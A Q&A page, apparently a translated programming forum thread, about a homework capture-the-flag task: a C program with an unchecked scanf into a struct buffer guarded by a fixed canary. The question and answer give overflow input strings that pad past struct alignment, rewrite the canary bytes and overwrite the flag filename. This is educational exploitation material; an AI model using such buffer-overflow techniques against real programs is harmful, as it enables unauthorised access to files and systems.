Использование переполнения буфера с помощью защиты от канареек - PullRequest
0 голосов
/ 19 мая 2018

Я пытаюсь использовать эту простую программу для домашней работы:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFSIZE 1024

typedef struct {
    char flag_content[BUFSIZE];
    char guess[47];
    unsigned canary;
    char flag_file[BUFSIZE];
} st_t;

int main(){
    FILE *f = NULL;
    st_t st = {
        .flag_file = "fake_flag",
        .canary = 0x4249b876
    };

    printf("Guess the flag!\n");
    scanf("%s", st.guess);

    f = fopen(st.flag_file, "rb");
    if (f == NULL){
        printf("flag error\n");
        exit(-1);
    }

    if (fread(st.flag_content, BUFSIZE, 1, f) < 0){
        printf("flag error\n");
        exit(-1);
    }

    if (st.canary != 0x4249b876) {
        printf("canary error\n");
        exit(-1);
    }

    if (!strcmp(st.guess, st.flag_content)){
        printf("You guessed it right!\n");
    } else {
        printf("Sorry but the flag is \"%s\"\n", st.flag_content);
    }
    exit(1);
}

Цель состоит в том, чтобы изменить st.flag_file, вставив "flag.txt" вместо "fake_flag.txt", чтобы прочитать его содержимое.

Легко обнаружить, что существует переполнение буфера, но есть и канарейка, поэтому я пишу этот эксплойт как ввод scanf:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt

Я обнаружил в сети, что шестнадцатеричное0x4249b876 переводится в v¸IB, но когда я запускаю код с моего терминала, это вывод

./mission1
Guess the flag!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
canary error

и, выполнив проверку с помощью gdb, я обнаружил, что переменная st.flag_file = "flag.txt" верна, нопеременная st.canary = 0x4249b8c2

Я не могу понять.Почему?

1 Ответ

0 голосов
/ 19 мая 2018

Проблема, с которой вы столкнулись, связана с требованиями к выравниванию struct.В частности, между guess и canary есть дополнительный отступ, который вставляет компилятор.Попробуйте сбросить всю структуру и / или адреса членов, и вы увидите заполнение.

Конечный результат состоит в том, что вам потребуется более 47 байтов (A), чтобы достичь canaryкак правило, еще один.Поэтому вместо, например:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag

Вам понадобится:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag

Также обратите внимание, что экранирование символов для канарейки может быть хорошей идеей (чтобы избежать проблем)с кодировкой и т. д.) и делает его более читабельным (для сравнения с фактической канарейкой).

Не по теме Обратите внимание, что:

fread(st.flag_content, BUFSIZE, 1, f) < 0

всегда ложно, поскольку fread возвращает size_t (без знака).

...